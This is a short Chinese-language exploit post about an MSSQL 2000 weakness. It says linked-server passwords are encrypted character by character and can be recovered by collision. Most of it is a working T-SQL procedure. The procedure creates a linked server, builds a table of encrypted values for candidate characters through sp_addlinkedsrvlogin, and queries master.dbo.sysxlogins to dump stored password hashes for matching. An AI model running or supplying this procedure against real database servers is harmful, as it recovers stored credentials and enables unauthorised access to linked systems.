MSSQL2000链接服务器的密码破解为明文的漏洞

MSSQL 2000 的linkserver 密码虽然加密了,但是跟存储自已数据库的密码加密方式不一样.他的加密是根据密码的长度来决定的.每个字符加密


每字符生成固定长度4位字符,可以生成后碰撞即可得出,

EXP:

  1. 第一步,先建立一个 linkserver
  2. sp_addlinkedserver 'dhlinkserver','','SQLOLEDB','127.0.0.1','','','master'
  3. 第二步,创建一个表,用于存放计算出来的HASH
  4. create table mssql (list int not null identity (1,1), pass nvarchar(500),code varbinary(256))
  5. sp_dropserver 'dhlinkserver', 'droplogins'
  6. drop table mssql
  7. DROP PROCEDURE pwd
  8. 第三步 创建破解用的存储过程
  9. create procedure pwd
  10. @pwd sysname = NULL
  11. AS
  12. declare @ss varchar(256),@str varchar (256),@getpass varbinary(256)
  13. truncate table mssql
  14. create table #t (inetpub nvarchar(500))
  15. select @ss=@pwd+'abcdefghijklmnopqrstuvwxyz`0123456789-=[]\;,./~!@#$%^&*()_+{}|:<>?'
  16. declare @index int
  17. select @index=1
  18. while (@index <=len(@ss))
  19. begin
  20. insert #t(inetpub) select SUBSTRING (@ss,@index,1)
  21. select @index = @index +1
  22. select @str=@pwd+inetpub from #t
  23. exec master.dbo.sp_addlinkedsrvlogin 'dhlinkserver','false',Null,'xxxx',@str
  24. select @getpass = password from master.dbo.sysxlogins where name ='xxxx'
  25. insert into mssql(pass,code) values (@str,@getpass)
  26. end
  27. select list,pass,master.dbo.fn_VarBinToHexStr(code)code from mssql
  28. drop table #t
  29. 第四步,查询现在数据库里存储的密码
  30. select name,master.dbo.fn_VarBinToHexStr(password)pass from master.dbo.sysxlogins